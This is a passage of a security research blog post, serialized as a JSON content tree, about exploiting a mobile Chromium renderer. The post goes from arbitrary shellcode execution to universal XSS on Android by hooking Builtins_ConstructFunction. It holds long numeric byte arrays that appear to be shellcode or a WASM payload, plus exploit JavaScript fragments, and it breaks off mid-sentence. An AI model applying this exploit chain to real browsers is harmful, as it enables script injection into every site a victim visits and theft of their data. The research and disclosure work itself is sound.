"type":26,"value":1063},{"type":20,"tag":315,"props":136520,"children":136521},{"style":328},[136522],{"type":26,"value":44},{"type":20,"tag":315,"props":136524,"children":136525},{"style":765},[136526],{"type":26,"value":1063},{"type":20,"tag":315,"props":136528,"children":136529},{"style":328},[136530],{"type":26,"value":44},{"type":20,"tag":315,"props":136532,"children":136533},{"style":765},[136534],{"type":26,"value":1063},{"type":20,"tag":315,"props":136536,"children":136537},{"style":328},[136538],{"type":26,"value":44},{"type":20,"tag":315,"props":136540,"children":136541},{"style":765},[136542],{"type":26,"value":1063},{"type":20,"tag":315,"props":136544,"children":136545},{"style":328},[136546],{"type":26,"value":44},{"type":20,"tag":315,"props":136548,"children":136549},{"style":765},[136550],{"type":26,"value":1063},{"type":20,"tag":315,"props":136552,"children":136553},{"style":328},[136554],{"type":26,"value":44},{"type":20,"tag":315,"props":136556,"children":136557},{"style":765},[136558],{"type":26,"value":1063},{"type":20,"tag":315,"props":136560,"children":136561},{"style":328},[136562],{"type":26,"value":44},{"type":20,"tag":315,"props":136564,"children":136565},{"style":765},[136566],{"type":26,"value":1063},{"type":20,"tag":315,"props":136568,"children":136569},{"style":328},[136570],{"type":26,"value":44},{"type":20,"tag":315,"props":136572,"children":136573},{"style":765},[136574],{"type":26,"value":1063},{"type":20,"tag":315,"props":136576,"children":136577},{"style":328},[136578],{"type":26,"value":44},{"type":20,"tag":315,"props":136580,"children":136581},{"style":765},[136582],{"type":26,"value":1063},{"type":20,"tag":315,"props":136584,"children":136585},{"style":328},[136586],{"type":26,"value":44},{"type":20,"tag":315,"props":136588,"children":136589},{"style":765},[136590],{"type":26,"value":1063},{"type":20,"tag":315,"props":136592,"children":136593},{"style":328},[136594],{"type":26,"value":44},{"type":20,"tag":315,"props":136596,"children":136597},{"style":765},[136598],{"type":26,"value":1063},{"type":20,"tag":315,"props":136600,"children":136601},{"style":328},[136602],{"type":26,"value":44},{"type":20,"tag":315,"props":136604,"children":136605},{"style":765},[136606],{"type":26,"value":27838},{"type":20,"tag":315,"props":136608,"children":136609},{"style":328},[136610],{"type":26,"value":44},{"type":20,"tag":315,"props":136612,"children":136613},{"style":765},[136614],{"type":26,"value":1063},{"type":20,"tag":315,"props":136616,"children":136617},{"style":328},[136618],{"type":26,"value":44},{"type":20,"tag":315,"props":136620,"children":136621},{"style":765},[136622],{"type":26,"value":1063},{"type":20,"tag":315,"props":136624,"children":136625},{"style":328},[136626],{"type":26,"value":44},{"type":20,"tag":315,"props":136628,"children":136629},{"style":765},[136630],{"type":26,"value":1063},{"type":20,"tag":315,"props":136632,"children":136633},{"style":328},[136634],{"type":26,"value":44},{"type":20,"tag":315,"props":136636,"children":136637},{"style":765},[136638],{"type":26,"value":1063},{"type":20,"tag":315,"props":136640,"children":136641},{"style":328},[136642],{"type":26,"value":44},{"type":20,"tag":315,"props":136644,"children":136645},{"style":765},[136646],{"type":26,"value":1063},{"type":20,"tag":315,"props":136648,"children":136649},{"style":328},[136650],{"type":26,"value":44},{"type":20,"tag":315,"props":136652,"children":136653},{"style":765},[136654],{"type":26,"value":1063},{"type":20,"tag":315,"props":136656,"children":136657},{"style":328},[136658],{"type":26,"value":44},{"type":20,"tag":315,"props":136660,"children":136661},{"style":765},[136662],{"type":26,"value":1063},{"type":20,"tag":315,"props":136664,"children":136665},{"style":328},[136666],{"type":26,"value":44},{"type":20,"tag":315,"props":136668,"children":136669},{"style":765},[136670],{"type":26,"value":1063},{"type":20,"tag":315,"props":136672,"children":136673},{"style":328},[136674],{"type":26,"value":44},{"type":20,"tag":315,"props":136676,"children":136677},{"style":765},[136678],{"type":26,"value":1063},{"type":20,"tag":315,"props":136680,"children":136681},{"style":328},[136682],{"type":26,"value":44},{"type":20,"tag":315,"props":136684,"children":136685},{"style":765},[136686],{"type":26,"value":1063},{"type":20,"tag":315,"props":136688,"children":136689},{"style":328},[136690],{"type":26,"value":44},{"type":20,"tag":315,"props":136692,"children":136693},{"style":765},[136694],{"type":26,"value":1063},{"type":20,"tag":315,"props":136696,"children":136697},{"style":328},[136698],{"type":26,"value":44},{"type":20,"tag":315,"props":136700,"children":136701},{"style":765},[136702],{"type":26,"value":1063},{"type":20,"tag":315,"props":136704,"children":136705},{"style":328},[136706],{"type":26,"value":643},{"type":20,"tag":315,"props":136708,"children":136709},{"class":317,"line":486},[136710,136714,136718,136722,136726,136730,136734,136738,136742,136746,136750,136754,136758,136762,136766,136770,136774,136778,136782,136786,136790,136794,136798,136802,136806,136810,136814,136818,136822,136826,136830,136834,136838,136843,136847,136852,136856,136860,136864,136869,136873,136877,136881,136885,136889,136893,136897,136902,136906,136910,136914,136919,136923,136927],{"type":20,"tag":315,"props":136711,"children":136712},{"style":765},[136713],{"type":26,"value":132455},{"type":20,"tag":315,"props":136715,"children":136716},{"style":328},[136717],{"type":26,"value":44},{"type":20,"tag":315,"props":136719,"children":136720},{"style":765},[136721],{"type":26,"value":1063},{"type":20,"tag":315,"props":136723,"children":136724},{"style":328},[136725],{"type":26,"value":44},{"type":20,"tag":315,"props":136727,"children":136728},{"style":765},[136729],{"type":26,"value":1063},{"type":20,"tag":315,"props":136731,"children":136732},{"style":328},[136733],{"type":26,"value":44},{"type":20,"tag":315,"props":136735,"children":136736},{"style":765},[136737],{"type":26,"value":1063},{"type":20,"tag":315,"props":136739,"children":136740},{"style":328},[136741],{"type":26,"value":44},{"type":20,"tag":315,"props":136743,"children":136744},{"style":765},[136745],{"type":26,"value":1063},{"type":20,"tag":315,"props":136747,"children":136748},{"style":328},[136749],{"type":26,"value":44},{"type":20,"tag":315,"props":136751,"children":136752},{"style":765},[136753],{"type":26,"value":1063},{"type":20,"tag":315,"props":136755,"children":136756},{"style":328},[136757],{"type":26,"value":44},{"type":20,"tag":315,"props":136759,"children":136760},{"style":765},[136761],{"type":26,"value":1063},{"type":20,"tag":315,"props":136763,"children":136764},{"style":328},[136765],{"type":26,"value":44},{"type":20,"tag":315,"props":136767,"children":136768},{"style":765},[136769],{"type":26,"value":1063},{"type":20,"tag":315,"props":136771,"children":136772},{"style":328},[136773],{"type":26,"value":44},{"type":20,"tag":315,"props":136775,"children":136776},{"style":765},[136777],{"type":26,"value":1063},{"type":20,"tag":315,"props":136779,"children":136780},{"style":328},[136781],{"type":26,"value":44},{"type":20,"tag":315,"props":136783,"children":136784},{"style":765},[136785],{"type":26,"value":1063},{"type":20,"tag":315,"props":136787,"children":136788},{"style":328},[136789],{"type":26,"value":44},{"type":20,"tag":315,"props":136791,"children":136792},{"style":765},[136793],{"type":26,"value":1063},{"type":20,"tag":315,"props":136795,"children":136796},{"style":328},[136797],{"type":26,"value":44},{"type":20,"tag":315,"props":136799,"children":136800},{"style":765},[136801],{"type":26,"value":1063},{"type":20,"tag":315,"props":136803,"children":136804},{"style":328},[136805],{"type":26,"value":44},{"type":20,"tag":315,"props":136807,"children":136808},{"style":765},[136809],{"type":26,"value":1063},{"type":20,"tag":315,"props":136811,"children":136812},{"style":328},[136813],{"type":26,"value":44},{"type":20,"tag":315,"props":136815,"children":136816},{"style":765},[136817],{"type":26,"value":1063},{"type":20,"tag":315,"props":136819,"children":136820},{"style":328},[136821],{"type":26,"value":44},{"type":20,"tag":315,"props":136823,"children":136824},{"style":765},[136825],{"type":26,"value":1063},{"type":20,"tag":315,"props":136827,"children":136828},{"style":328},[136829],{"type":26,"value":44},{"type":20,"tag":315,"props":136831,"children":136832},{"style":765},[136833],{"type":26,"value":1504},{"type":20,"tag":315,"props":136835,"children":136836},{"style":328},[136837],{"type":26,"value":44},{"type":20,"tag":315,"props":136839,"children":136840},{"style":765},[136841],{"type":26,"value":136842},"95",{"type":20,"tag":315,"props":136844,"children":136845},{"style":328},[136846],{"type":26,"value":44},{"type":20,"tag":315,"props":136848,"children":136849},{"style":765},[136850],{"type":26,"value":136851},"36",{"type":20,"tag":315,"props":136853,"children":136854},{"style":328},[136855],{"type":26,"value":44},{"type":20,"tag":315,"props":136857,"children":136858},{"style":765},[136859],{"type":26,"value":15698},{"type":20,"tag":315,"props":136861,"children":136862},{"style":328},[136863],{"type":26,"value":44},{"type":20,"tag":315,"props":136865,"children":136866},{"style":765},[136867],{"type":26,"value":136868},"213",{"type":20,"tag":315,"props":136870,"children":136871},{"style":328},[136872],{"type":26,"value":44},{"type":20,"tag":315,"props":136874,"children":136875},{"style":765},[136876],{"type":26,"value":39264},{"type":20,"tag":315,"props":136878,"children":136879},{"style":328},[136880],{"type":26,"value":44},{"type":20,"tag":315,"props":136882,"children":136883},{"style":765},[136884],{"type":26,"value":2406},{"type":20,"tag":315,"props":136886,"children":136887},{"style":328},[136888],{"type":26,"value":44},{"type":20,"tag":315,"props":136890,"children":136891},{"style":765},[136892],{"type":26,"value":28262},{"type":20,"tag":315,"props":136894,"children":136895},{"style":328},[136896],{"type":26,"value":44},{"type":20,"tag":315,"props":136898,"children":136899},{"style":765},[136900],{"type":26,"value":136901},"210",{"type":20,"tag":315,"props":136903,"children":136904},{"style":328},[136905],{"type":26,"value":44},{"type":20,"tag":315,"props":136907,"children":136908},{"style":765},[136909],{"type":26,"value":132848},{"type":20,"tag":315,"props":136911,"children":136912},{"style":328},[136913],{"type":26,"value":44},{"type":20,"tag":315,"props":136915,"children":136916},{"style":765},[136917],{"type":26,"value":136918},"35",{"type":20,"tag":315,"props":136920,"children":136921},{"style":328},[136922],{"type":26,"value":44},{"type":20,"tag":315,"props":136924,"children":136925},{"style":765},[136926],{"type":26,"value":15698},{"type":20,"tag":315,"props":136928,"children":136929},{"style":328},[136930],{"type":26,"value":643},{"type":20,"tag":315,"props":136932,"children":136933},{"class":317,"line":499},[136934,136939,136943,136948,136952,136957,136961,136966,136970,136975,136979,136984,136988,136993,136997,137001,137005,137009,137013,137017,137021,137025,137029,137033,137037,137042,137046,137051,137055,137059,137063,137067,137071,137075,137079,137083,137087,137091,137095,137100,137104,137109],{"type":20,"tag":315,"props":136935,"children":136936},{"style":765},[136937],{"type":26,"value":136938}," 213",{"type":20,"tag":315,"props":136940,"children":136941},{"style":328},[136942],{"type":26,"value":44},{"type":20,"tag":315,"props":136944,"children":136945},{"style":765},[136946],{"type":26,"value":136947},"231",{"type":20,"tag":315,"props":136949,"children":136950},{"style":328},[136951],{"type":26,"value":44},{"type":20,"tag":315,"props":136953,"children":136954},{"style":765},[136955],{"type":26,"value":136956},"67",{"type":20,"tag":315,"props":136958,"children":136959},{"style":328},[136960],{"type":26,"value":44},{"type":20,"tag":315,"props":136962,"children":136963},{"style":765},[136964],{"type":26,"value":136965},"190",{"type":20,"tag":315,"props":136967,"children":136968},{"style":328},[136969],{"type":26,"value":44},{"type":20,"tag":315,"props":136971,"children":136972},{"style":765},[136973],{"type":26,"value":136974},"169",{"type":20,"tag":315,"props":136976,"children":136977},{"style":328},[136978],{"type":26,"value":44},{"type":20,"tag":315,"props":136980,"children":136981},{"style":765},[136982],{"type":26,"value":136983},"253",{"type":20,"tag":315,"props":136985,"children":136986},{"style":328},[136987],{"type":26,"value":44},{"type":20,"tag":315,"props":136989,"children":136990},{"style":765},[136991],{"type":26,"value":136992},"123",{"type":20,"tag":315,"props":136994,"children":136995},{"style":328},[136996],{"type":26,"value":44},{"type":20,"tag":315,"props":136998,"children":136999},{"style":765},[137000],{"type":26,"value":2406},{"type":20,"tag":315,"props":137002,"children":137003},{"style":328},[137004],{"type":26,"value":44},{"type":20,"tag":315,"props":137006,"children":137007},{"style":765},[137008],{"type":26,"value":136974},{"type":20,"tag":315,"props":137010,"children":137011},{"style":328},[137012],{"type":26,"value":44},{"type":20,"tag":315,"props":137014,"children":137015},{"style":765},[137016],{"type":26,"value":136983},{"type":20,"tag":315,"props":137018,"children":137019},{"style":328},[137020],{"type":26,"value":44},{"type":20,"tag":315,"props":137022,"children":137023},{"style":765},[137024],{"type":26,"value":136956},{"type":20,"tag":315,"props":137026,"children":137027},{"style":328},[137028],{"type":26,"value":44},{"type":20,"tag":315,"props":137030,"children":137031},{"style":765},[137032],{"type":26,"value":1063},{"type":20,"tag":315,"props":137034,"children":137035},{"style":328},[137036],{"type":26,"value":44},{"type":20,"tag":315,"props":137038,"children":137039},{"style":765},[137040],{"type":26,"value":137041},"145",{"type":20,"tag":315,"props":137043,"children":137044},{"style":328},[137045],{"type":26,"value":44},{"type":20,"tag":315,"props":137047,"children":137048},{"style":765},[137049],{"type":26,"value":137050},"191",{"type":20,"tag":315,"props":137052,"children":137053},{"style":328},[137054],{"type":26,"value":44},{"type":20,"tag":315,"props":137056,"children":137057},{"style":765},[137058],{"type":26,"value":15698},{"type":20,"tag":315,"props":137060,"children":137061},{"style":328},[137062],{"type":26,"value":44},{"type":20,"tag":315,"props":137064,"children":137065},{"style":765},[137066],{"type":26,"value":1063},{"type":20,"tag":315,"props":137068,"children":137069},{"style":328},[137070],{"type":26,"value":44},{"type":20,"tag":315,"props":137072,"children":137073},{"style":765},[137074],{"type":26,"value":137041},{"type":20,"tag":315,"props":137076,"children":137077},{"style":328},[137078],{"type":26,"value":44},{"type":20,"tag":315,"props":137080,"children":137081},{"style":765},[137082],{"type":26,"value":136983},{"type":20,"tag":315,"props":137084,"children":137085},{"style":328},[137086],{"type":26,"value":44},{"type":20,"tag":315,"props":137088,"children":137089},{"style":765},[137090],{"type":26,"value":136992},{"type":20,"tag":315,"props":137092,"children":137093},{"style":328},[137094],{"type":26,"value":44},{"type":20,"tag":315,"props":137096,"children":137097},{"style":765},[137098],{"type":26,"value":137099},"193",{"type":20,"tag":315,"props":137101,"children":137102},{"style":328},[137103],{"type":26,"value":44},{"type":20,"tag":315,"props":137105,"children":137106},{"style":765},[137107],{"type":26,"value":137108},"168",{"type":20,"tag":315,"props":137110,"children":137111},{"style":328},[137112],{"type":26,"value":643},{"type":20,"tag":315,"props":137114,"children":137115},{"class":317,"line":513},[137116,137121,137125,137129,137133,137137,137141,137145,137149,137153,137157,137161,137165,137169,137173,137178,137182,137186,137190,137194,137198,137202,137206,137210,137214,137218,137222,137226,137230,137234,137238,137242,137246,137250,137254,137258,137262,137266,137270,137274,137278,137282,137286,137290,137294,137298,137302,137306,137310,137314,137318,137322,137326,137330],{"type":20,"tag":315,"props":137117,"children":137118},{"style":765},[137119],{"type":26,"value":137120}," 255",{"type":20,"tag":315,"props":137122,"children":137123},{"style":328},[137124],{"type":26,"value":44},{"type":20,"tag":315,"props":137126,"children":137127},{"style":765},[137128],{"type":26,"value":136918},{"type":20,"tag":315,"props":137130,"children":137131},{"style":328},[137132],{"type":26,"value":44},{"type":20,"tag":315,"props":137134,"children":137135},{"style":765},[137136],{"type":26,"value":15698},{"type":20,"tag":315,"props":137138,"children":137139},{"style":328},[137140],{"type":26,"value":44},{"type":20,"tag":315,"props":137142,"children":137143},{"style":765},[137144],{"type":26,"value":136868},{"type":20,"tag":315,"props":137146,"children":137147},{"style":328},[137148],{"type":26,"value":44},{"type":20,"tag":315,"props":137150,"children":137151},{"style":765},[137152],{"type":26,"value":132803},{"type":20,"tag":315,"props":137154,"children":137155},{"style":328},[137156],{"type":26,"value":44},{"type":20,"tag":315,"props":137158,"children":137159},{"style":765},[137160],{"type":26,"value":15698},{"type":20,"tag":315,"props":137162,"children":137163},{"style":328},[137164],{"type":26,"value":44},{"type":20,"tag":315,"props":137166,"children":137167},{"style":765},[137168],{"type":26,"value":136842},{"type":20,"tag":315,"props":137170,"children":137171},{"style":328},[137172],{"type":26,"value":44},{"type":20,"tag":315,"props":137174,"children":137175},{"style":765},[137176],{"type":26,"value":137177},"214",{"type":20,"tag":315,"props":137179,"children":137180},{"style":328},[137181],{"type":26,"value":44},{"type":20,"tag":315,"props":137183,"children":137184},{"style":765},[137185],{"type":26,"value":94925},{"type":20,"tag":315,"props":137187,"children":137188},{"style":328},[137189],{"type":26,"value":44},{"type":20,"tag":315,"props":137191,"children":137192},{"style":765},[137193],{"type":26,"value":58600},{"type":20,"tag":315,"props":137195,"children":137196},{"style":328},[137197],{"type":26,"value":44},{"type":20,"tag":315,"props":137199,"children":137200},{"style":765},[137201],{"type":26,"value":15698},{"type":20,"tag":315,"props":137203,"children":137204},{"style":328},[137205],{"type":26,"value":44},{"type":20,"tag":315,"props":137207,"children":137208},{"style":765},[137209],{"type":26,"value":136868},{"type":20,"tag":315,"props":137211,"children":137212},{"style":328},[137213],{"type":26,"value":44},{"type":20,"tag":315,"props":137215,"children":137216},{"style":765},[137217],{"type":26,"value":15931},{"type":20,"tag":315,"props":137219,"children":137220},{"style":328},[137221],{"type":26,"value":44},{"type":20,"tag":315,"props":137223,"children":137224},{"style":765},[137225],{"type":26,"value":1063},{"type":20,"tag":315,"props":137227,"children":137228},{"style":328},[137229],{"type":26,"value":44},{"type":20,"tag":315,"props":137231,"children":137232},{"style":765},[137233],{"type":26,"value":1063},{"type":20,"tag":315,"props":137235,"children":137236},{"style":328},[137237],{"type":26,"value":44},{"type":20,"tag":315,"props":137239,"children":137240},{"style":765},[137241],{"type":26,"value":1063},{"type":20,"tag":315,"props":137243,"children":137244},{"style":328},[137245],{"type":26,"value":44},{"type":20,"tag":315,"props":137247,"children":137248},{"style":765},[137249],{"type":26,"value":1063},{"type":20,"tag":315,"props":137251,"children":137252},{"style":328},[137253],{"type":26,"value":44},{"type":20,"tag":315,"props":137255,"children":137256},{"style":765},[137257],{"type":26,"value":1063},{"type":20,"tag":315,"props":137259,"children":137260},{"style":328},[137261],{"type":26,"value":44},{"type":20,"tag":315,"props":137263,"children":137264},{"style":765},[137265],{"type":26,"value":1063},{"type":20,"tag":315,"props":137267,"children":137268},{"style":328},[137269],{"type":26,"value":44},{"type":20,"tag":315,"props":137271,"children":137272},{"style":765},[137273],{"type":26,"value":1063},{"type":20,"tag":315,"props":137275,"children":137276},{"style":328},[137277],{"type":26,"value":44},{"type":20,"tag":315,"props":137279,"children":137280},{"style":765},[137281],{"type":26,"value":1063},{"type":20,"tag":315,"props":137283,"children":137284},{"style":328},[137285],{"type":26,"value":44},{"type":20,"tag":315,"props":137287,"children":137288},{"style":765},[137289],{"type":26,"value":15931},{"type":20,"tag":315,"props":137291,"children":137292},{"style":328},[137293],{"type":26,"value":44},{"type":20,"tag":315,"props":137295,"children":137296},{"style":765},[137297],{"type":26,"value":1063},{"type":20,"tag":315,"props":137299,"children":137300},{"style":328},[137301],{"type":26,"value":44},{"type":20,"tag":315,"props":137303,"children":137304},{"style":765},[137305],{"type":26,"value":1063},{"type":20,"tag":315,"props":137307,"children":137308},{"style":328},[137309],{"type":26,"value":44},{"type":20,"tag":315,"props":137311,"children":137312},{"style":765},[137313],{"type":26,"value":1063},{"type":20,"tag":315,"props":137315,"children":137316},{"style":328},[137317],{"type":26,"value":44},{"type":20,"tag":315,"props":137319,"children":137320},{"style":765},[137321],{"type":26,"value":1063},{"type":20,"tag":315,"props":137323,"children":137324},{"style":328},[137325],{"type":26,"value":44},{"type":20,"tag":315,"props":137327,"children":137328},{"style":765},[137329],{"type":26,"value":1063},{"type":20,"tag":315,"props":137331,"children":137332},{"style":328},[137333],{"type":26,"value":643},{"type":20,"tag":315,"props":137335,"children":137336},{"class":317,"line":521},[137337,137341,137345,137349,137353,137357,137361,137365,137369,137373,137377,137382,137386,137391,137395,137400,137404,137408],{"type":20,"tag":315,"props":137338,"children":137339},{"style":765},[137340],{"type":26,"value":132455},{"type":20,"tag":315,"props":137342,"children":137343},{"style":328},[137344],{"type":26,"value":44},{"type":20,"tag":315,"props":137346,"children":137347},{"style":765},[137348],{"type":26,"value":1063},{"type":20,"tag":315,"props":137350,"children":137351},{"style":328},[137352],{"type":26,"value":44},{"type":20,"tag":315,"props":137354,"children":137355},{"style":765},[137356],{"type":26,"value":1063},{"type":20,"tag":315,"props":137358,"children":137359},{"style":328},[137360],{"type":26,"value":44},{"type":20,"tag":315,"props":137362,"children":137363},{"style":765},[137364],{"type":26,"value":1063},{"type":20,"tag":315,"props":137366,"children":137367},{"style":328},[137368],{"type":26,"value":44},{"type":20,"tag":315,"props":137370,"children":137371},{"style":765},[137372],{"type":26,"value":1063},{"type":20,"tag":315,"props":137374,"children":137375},{"style":328},[137376],{"type":26,"value":44},{"type":20,"tag":315,"props":137378,"children":137379},{"style":765},[137380],{"type":26,"value":137381},"92",{"type":20,"tag":315,"props":137383,"children":137384},{"style":328},[137385],{"type":26,"value":44},{"type":20,"tag":315,"props":137387,"children":137388},{"style":765},[137389],{"type":26,"value":137390},"50",{"type":20,"tag":315,"props":137392,"children":137393},{"style":328},[137394],{"type":26,"value":44},{"type":20,"tag":315,"props":137396,"children":137397},{"style":765},[137398],{"type":26,"value":137399},"162",{"type":20,"tag":315,"props":137401,"children":137402},{"style":328},[137403],{"type":26,"value":44},{"type":20,"tag":315,"props":137405,"children":137406},{"style":765},[137407],{"type":26,"value":1063},{"type":20,"tag":315,"props":137409,"children":137410},{"style":328},[137411],{"type":26,"value":643},{"type":20,"tag":315,"props":137413,"children":137414},{"class":317,"line":552},[137415],{"type":20,"tag":315,"props":137416,"children":137417},{"style":328},[137418],{"type":26,"value":132742},{"type":20,"tag":315,"props":137420,"children":137421},{"class":317,"line":571},[137422,137426,137430,137434,137438,137442,137446,137450,137454,137458,137462],{"type":20,"tag":315,"props":137423,"children":137424},{"style":541},[137425],{"type":26,"value":6251},{"type":20,"tag":315,"props":137427,"children":137428},{"style":635},[137429],{"type":26,"value":134195},{"type":20,"tag":315,"props":137431,"children":137432},{"style":334},[137433],{"type":26,"value":1395},{"type":20,"tag":315,"props":137435,"children":137436},{"style":345},[137437],{"type":26,"value":134204},{"type":20,"tag":315,"props":137439,"children":137440},{"style":328},[137441],{"type":26,"value":1049},{"type":20,"tag":315,"props":137443,"children":137444},{"style":635},[137445],{"type":26,"value":132073},{"type":20,"tag":315,"props":137447,"children":137448},{"style":328},[137449],{"type":26,"value":44},{"type":20,"tag":315,"props":137451,"children":137452},{"style":635},[137453],{"type":26,"value":123400},{"type":20,"tag":315,"props":137455,"children":137456},{"style":328},[137457],{"type":26,"value":61},{"type":20,"tag":315,"props":137459,"children":137460},{"style":635},[137461],{"type":26,"value":123400},{"type":20,"tag":315,"props":137463,"children":137464},{"style":328},[137465],{"type":26,"value":2214},{"type":20,"tag":315,"props":137467,"children":137468},{"class":317,"line":2031},[137469,137473,137477,137481,137485,137489,137493,137497,137501,137505],{"type":20,"tag":315,"props":137470,"children":137471},{"style":635},[137472],{"type":26,"value":134240},{"type":20,"tag":315,"props":137474,"children":137475},{"style":334},[137476],{"type":26,"value":1395},{"type":20,"tag":315,"props":137478,"children":137479},{"style":328},[137480],{"type":26,"value":463},{"type":20,"tag":315,"props":137482,"children":137483},{"style":525},[137484],{"type":26,"value":31330},{"type":20,"tag":315,"props":137486,"children":137487},{"style":635},[137488],{"type":26,"value":134195},{"type":20,"tag":315,"props":137490,"children":137491},{"style":328},[137492],{"type":26,"value":61},{"type":20,"tag":315,"props":137494,"children":137495},{"style":345},[137496],{"type":26,"value":55818},{"type":20,"tag":315,"props":137498,"children":137499},{"style":328},[137500],{"type":26,"value":134269},{"type":20,"tag":315,"props":137502,"children":137503},{"style":635},[137504],{"type":26,"value":37568},{"type":20,"tag":315,"props":137506,"children":137507},{"style":328},[137508],{"type":26,"value":1405},{"type":20,"tag":315,"props":137510,"children":137511},{"class":317,"line":2053},[137512,137516,137520,137524,137528,137533,137537,137541],{"type":20,"tag":315,"props":137513,"children":137514},{"style":635},[137515],{"type":26,"value":100202},{"type":20,"tag":315,"props":137517,"children":137518},{"style":328},[137519],{"type":26,"value":61},{"type":20,"tag":315,"props":137521,"children":137522},{"style":345},[137523],{"type":26,"value":100211},{"type":20,"tag":315,"props":137525,"children":137526},{"style":328},[137527],{"type":26,"value":1049},{"type":20,"tag":315,"props":137529,"children":137530},{"style":2652},[137531],{"type":26,"value":137532},"'DeserializeWasmModule result: '",{"type":20,"tag":315,"props":137534,"children":137535},{"style":334},[137536],{"type":26,"value":7301},{"type":20,"tag":315,"props":137538,"children":137539},{"style":635},[137540],{"type":26,"value":7558},{"type":20,"tag":315,"props":137542,"children":137543},{"style":328},[137544],{"type":26,"value":2214},{"type":20,"tag":315,"props":137546,"children":137547},{"class":317,"line":2061},[137548,137552,137556,137560,137564,137568,137572,137576,137580,137584],{"type":20,"tag":315,"props":137549,"children":137550},{"style":541},[137551],{"type":26,"value":34604},{"type":20,"tag":315,"props":137553,"children":137554},{"style":635},[137555],{"type":26,"value":134289},{"type":20,"tag":315,"props":137557,"children":137558},{"style":334},[137559],{"type":26,"value":1395},{"type":20,"tag":315,"props":137561,"children":137562},{"style":541},[137563],{"type":26,"value":30348},{"type":20,"tag":315,"props":137565,"children":137566},{"style":635},[137567],{"type":26,"value":132056},{"type":20,"tag":315,"props":137569,"children":137570},{"style":328},[137571],{"type":26,"value":61},{"type":20,"tag":315,"props":137573,"children":137574},{"style":345},[137575],{"type":26,"value":132110},{"type":20,"tag":315,"props":137577,"children":137578},{"style":328},[137579],{"type":26,"value":1049},{"type":20,"tag":315,"props":137581,"children":137582},{"style":635},[137583],{"type":26,"value":7480},{"type":20,"tag":315,"props":137585,"children":137586},{"style":328},[137587],{"type":26,"value":2214},{"type":20,"tag":315,"props":137589,"children":137590},{"class":317,"line":2070},[137591,137595,137599,137603,137607,137611,137615,137619,137623],{"type":20,"tag":315,"props":137592,"children":137593},{"style":541},[137594],{"type":26,"value":34604},{"type":20,"tag":315,"props":137596,"children":137597},{"style":635},[137598],{"type":26,"value":31385},{"type":20,"tag":315,"props":137600,"children":137601},{"style":334},[137602],{"type":26,"value":1395},{"type":20,"tag":315,"props":137604,"children":137605},{"style":635},[137606],{"type":26,"value":134289},{"type":20,"tag":315,"props":137608,"children":137609},{"style":328},[137610],{"type":26,"value":61},{"type":20,"tag":315,"props":137612,"children":137613},{"style":635},[137614],{"type":26,"value":36302},{"type":20,"tag":315,"props":137616,"children":137617},{"style":328},[137618],{"type":26,"value":61},{"type":20,"tag":315,"props":137620,"children":137621},{"style":635},[137622],{"type":26,"value":132159},{"type":20,"tag":315,"props":137624,"children":137625},{"style":328},[137626],{"type":26,"value":1405},{"type":20,"tag":315,"props":137628,"children":137629},{"class":317,"line":2139},[137630,137634,137638,137642,137646,137650],{"type":20,"tag":315,"props":137631,"children":137632},{"style":635},[137633],{"type":26,"value":100202},{"type":20,"tag":315,"props":137635,"children":137636},{"style":328},[137637],{"type":26,"value":61},{"type":20,"tag":315,"props":137639,"children":137640},{"style":345},[137641],{"type":26,"value":100211},{"type":20,"tag":315,"props":137643,"children":137644},{"style":328},[137645],{"type":26,"value":1049},{"type":20,"tag":315,"props":137647,"children":137648},{"style":635},[137649],{"type":26,"value":31499},{"type":20,"tag":315,"props":137651,"children":137652},{"style":328},[137653],{"type":26,"value":2214},{"type":20,"tag":315,"props":137655,"children":137656},{"class":317,"line":2147},[137657],{"type":20,"tag":315,"props":137658,"children":137659},{"style":328},[137660],{"type":26,"value":100243},{"type":20,"tag":29,"props":137662,"children":137663},{},[137664],{"type":26,"value":137665},"And this time, it works as expected:",{"type":20,"tag":29,"props":137667,"children":137668},{},[137669],{"type":20,"tag":2308,"props":137670,"children":137673},{"alt":137671,"src":137672},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":20,"tag":219,"props":137675,"children":137677},{"id":137676},"achieving-universal-xss",[137678],{"type":26,"value":137679},"Achieving Universal XSS",{"type":20,"tag":29,"props":137681,"children":137682},{},[137683,137685,137691,137693,137700],{"type":26,"value":137684},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":20,"tag":35,"props":137686,"children":137689},{"href":137687,"rel":137688},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[39],[137690],{"type":26,"value":68587},{"type":26,"value":137692}," from Tencent Security and ",{"type":20,"tag":35,"props":137694,"children":137697},{"href":137695,"rel":137696},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[39],[137698],{"type":26,"value":137699},"research article",{"type":26,"value":137701}," from InterruptLabs.",{"type":20,"tag":29,"props":137703,"children":137704},{},[137705,137707,137714],{"type":26,"value":137706},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":20,"tag":35,"props":137708,"children":137711},{"href":137709,"rel":137710},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[39],[137712],{"type":26,"value":137713},"weaker version",{"type":26,"value":137715}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":20,"tag":29,"props":137717,"children":137718},{},[137719,137721,137727],{"type":26,"value":137720},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":20,"tag":119,"props":137722,"children":137724},{"className":137723},[],[137725],{"type":26,"value":137726},"Builtins_ConstructFunction",{"type":26,"value":137728},", making it a natural target.",{"type":20,"tag":29,"props":137730,"children":137731},{},[137732,137734,137739],{"type":26,"value":137733},"Our goal is for ",{"type":20,"tag":119,"props":137735,"children":137737},{"className":137736},[],[137738],{"type":26,"value":137726},{"type":26,"value":137740}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":20,"tag":15089,"props":137742,"children":137743},{},[137744,137749,137759],{"type":20,"tag":72,"props":137745,"children":137746},{},[137747],{"type":26,"value":137748},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS 